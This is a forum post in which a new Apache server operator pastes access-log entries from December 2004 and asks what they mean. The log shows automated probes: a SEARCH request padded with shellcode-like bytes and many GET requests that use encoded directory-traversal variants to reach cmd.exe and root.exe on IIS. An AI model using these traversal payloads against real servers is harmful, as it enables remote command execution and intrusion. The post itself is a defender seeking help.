I am not sure if this is the place to post this but I'll try it. I am rather new tosetting up a webserver and am still exploring. I was looking at my apache access log and found something I am not sure what it means.
Here is a part of the log, sorry for the length
68.77.21.52 - - [29/Dec/2004:19:29:03 -0500] "SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02 ... " 414 309
68.77.132.153 - - [29/Dec/2004:20:01:37 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:38 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:38 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:39 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:39 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:40 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:40 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:41 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:41 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:42 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
68.77.132.153 - - [29/Dec/2004:20:01:43 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:43 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:44 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279
68.77.132.153 - - [29/Dec/2004:20:01:44 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279
68.77.132.153 - - [29/Dec/2004:20:01:44 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:20:01:44 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:45 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:45 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:46 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:49 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:50 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:50 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:51 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:51 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:52 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:52 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
68.77.132.153 - - [29/Dec/2004:21:36:53 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:53 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:53 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279
68.77.132.153 - - [29/Dec/2004:21:36:54 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279
68.77.132.153 - - [29/Dec/2004:21:36:54 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
68.77.132.153 - - [29/Dec/2004:21:36:55 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 401 454
What is that search? And what is the "GET /Scripts portion as well. I am restricting access using .htaccess other than that I dont have anything else on the site yet. Thanks in advance